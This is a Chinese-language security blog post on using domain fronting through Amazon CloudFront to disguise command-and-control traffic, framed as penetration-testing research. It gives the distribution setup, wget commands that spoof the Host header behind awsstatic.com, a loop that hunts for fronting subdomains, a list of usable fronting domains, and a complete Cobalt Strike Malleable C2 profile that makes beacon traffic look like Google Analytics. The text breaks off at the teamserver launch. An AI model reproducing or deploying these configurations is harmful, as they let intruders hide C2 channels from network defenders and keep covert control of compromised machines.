隐匿的攻击之-Domain Fronting
in 奇技淫巧 with 8 comments

隐匿的攻击之-Domain Fronting

in 奇技淫巧 with 8 comments

0x01 简介

最近看到了一些关于Domain Fronting的技术,感觉很有意思,其特点在于,你真正访问的域名并不是你看到的域名,即可以隐藏攻击者的真实地址,并且此技术能够让我们在一些受限制的网络中依然连接到我们的C2服务器,其关键思想是在不同的通信层使用不同的域名,在HTTP(S)请求中,目标域名通常显示在三个关键位置:DNS查询,TLS(SNI)拓展及HTTP主机头中,通常,这三个地方都会是我们要访问的域名地址,然而,在"Domain Fronting"请求中,DNS查询以及SNI携带了一个域名(前域),而在HTTP host头中携带了另一个域名(隐蔽的,被禁止访问的域名),简单的图例如下:

1487928970021.png

通常检查器不能阻止DNS及SNI中请求的内容,而HOST头对检查器不可见,但对接收HTTP(S)请求的前端服务器可见,而前端服务器,在内部请求HTTP头中的Host的地址,进而达到隐蔽目的地的目的。关于Domain Fronting 这里有一篇文章有详细的介绍《Blocking-resistant communication through domain fronting》。本文就不在详细介绍了。感觉这个技术很有趣,所以就对此技术进行了一下研究与学习,并写此文进行分享。

0x02 情形

渗透测试过程中,我们会遇到这种情形,即网络中部署了很多防御方案,比如防火墙开启IDP,IPS,IDS等,这些方案可用于限制网络出站规则,例如,仅仅允许TCP 80及443通过代理离开网络,并且还会有许多设备在应用层来检查这个流量,如果检测到恶意的Payload,则进行拦截并报警。绕过这些解决方案一直是入侵者与防御者之间的博弈,防御者努力的想怎么拦,而入侵者在努力的想怎么绕。因此也有了很多很多的攻击技术,比如DNS隧道,ICMP隧道等等。最近有一篇文章《Doodles, stickers, and censorship circumvention for Signal Android》介绍了通过Domain Fronting来绕过信号限制的方式,在此文中指出“许多流行的服务和CDN(如Google,Amazon Cloudfront,Amazon S3,Azure,CloudFlare,Fastly和Akamai)可以以一种方式获取信号,这种方式看起来与其他未经审查的流量不可辨别。因此,我们也可以通过此技术来绕过一些过滤规则。

0x03 示例

这里我们使用Amazon’s CloudFront作为一个演示,CloudFront是一种内容交付网络服务。它为用户提供了一个全局分布式缓存,用于托管在其服务器上的文件。这减少了客户服务器上的负载,并允许CDN提供来自与请求者数据中心的缓存内容,当客户端连接到CloudFront的时候,其根据HOST头来判断客户端想要请求的域名,首先在Amazon’s CloudFront注册账号,之后按以下步骤建立自己的CloudFront:
一、选择服务,CloudFront

1487935200773.png

二、新建节点

1487936788551.png

三、配置节点
1487937150167.png

填入自己的域名,并把Origin Protocol Policy配置为Match Viewer

1487937381866.png

修改箭头几处值

其他默认,点击创建。成功如下图:

1487937492210.png

xjnmi.com为指向测试C2服务器的域名,下面使用wget来进行测试。

wget -U demo -q -O - https://xjnmi.com/foo.txt
hello  there !

d289wv3b5uz3me.cloudfront.net为我的CloudFront,对这个域名的访问可访问到xjnmi.com的IP。

wget -U demo -q -O - http://d289wv3b5uz3me.cloudfront.net/foo.txt
hello  there !

如下图:

1487937890235.png

现在我们来伪造主机头来试试看。这里使用a0.awsstatic.com,此域名来自于这里
直接访问不会范围任何东西:

wget -U demo -q -O - http://a0.awsstatic.com/foo.txt

修改Host头,伪造Host为我们创建的CloudFront所分发的FQDN,这样就返回了我们要访问的文件:

wget -U demo -q -O - http://a0.awsstatic.com/foo.txt --header "Host: d289wv3b5uz3me.cloudfront.net"

如下图:

1487938242961.png

这样我们就可以使用高信誉域名来代替我们自己的域名了。

那么如何寻找类似于a0.awsstatic.com这样的高信誉域名呢,这里可以使用这个简单的命令来寻找:

for i in {a..z}; do for j in {0..9}; do wget -U demo -q -O - http://$i$j.awsstatic.com/foo.txt --header "Host: d289wv3b5uz3me.cloudfront.net" && echo $i$j; done;done

如下图:

1487939278917.png

当然这里还可以写一个脚本来从热门网站列表中寻找可以使用的CDN子域,关于这个可以参考这个文章Domain Fronting Via Cloudfront Alternate Domains

下面分享几个可用的域名:

cdn.az.gov,cdn.zendesk.com,cdn.atlassian.com,a1.awsstatic.com,f0.awsstatic.com

0x04 应用

1.Cobalt Strike

大家都知道,Cobalt Strike可以通过Malleable C2 profile来修改becon的传输方式,那么在这里,我们也可以通过这个来进行重定向。所以要修改的就是在文件中修改header的Host指向我们的节点。比如:

http-get {
    client {
        header "Host" "[your distribution].cloudfront.net";
http-post {
    client {
        header "Host" "[your distribution].cloudfront.net";

这里要注意的是http-get与http-post都要修改
一个修改好的webbug.profile如下:

# make our C2 look like a Google Web Bug
# https://developers.google.com/analytics/resources/articles/gaTrackingTroubleshooting
#
# Author: @armitagehacker

http-get {
    set uri "/__utm.gif";
    client {
        parameter "utmac" "UA-2202604-2";
        parameter "utmcn" "1";
        parameter "utmcs" "ISO-8859-1";
        parameter "utmsr" "1280x1024";
        parameter "utmsc" "32-bit";
        parameter "utmul" "en-US";

        header "Host" "d289wv3b5uz3me.cloudfront.net";

        metadata {
            netbios;
            prepend "__utma";
            parameter "utmcc";
        }
    }

    server {
        header "Content-Type" "image/gif";

        output {
            # hexdump pixel.gif
            # 0000000 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00
            # 0000010 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00
            # 0000020 01 00 01 00 00 02 01 44 00 3b 

            prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
            prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
            prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";

            print;
        }
    }
}

http-post {
    set uri "/___utm.gif";
    client {
        header "Content-Type" "application/octet-stream";

        id {
            prepend "UA-220";
            append "-2";
            parameter "utmac";
        }

        parameter "utmcn" "1";
        parameter "utmcs" "ISO-8859-1";
        parameter "utmsr" "1280x1024";
        parameter "utmsc" "32-bit";
        parameter "utmul" "en-US";

        header "Host" "d289wv3b5uz3me.cloudfront.net";

        output {
            print;
        }
    }

    server {
        header "Content-Type" "image/gif";

        output {
            prepend "\x01\x00\x01\x00\x00\x02\x01\x44\x00\x3b";
            prepend "\xff\xff\xff\x21\xf9\x04\x01\x00\x00\x00\x2c\x00\x00\x00\x00";
            prepend "\x47\x49\x46\x38\x39\x61\x01\x00\x01\x00\x80\x00\x00\x00\x00";
            print;
        }
    }
}

# dress up the staging process too
http-stager {
    server {
        header "Content-Type" "image/gif";
    }
}

使用c2lint 来测试:

./c2lint Malleable-C2-Profiles/normal/webbug.profile

1488004981887.png

可以看到host已经改成了我们的节点地址。
之后启动teamserver: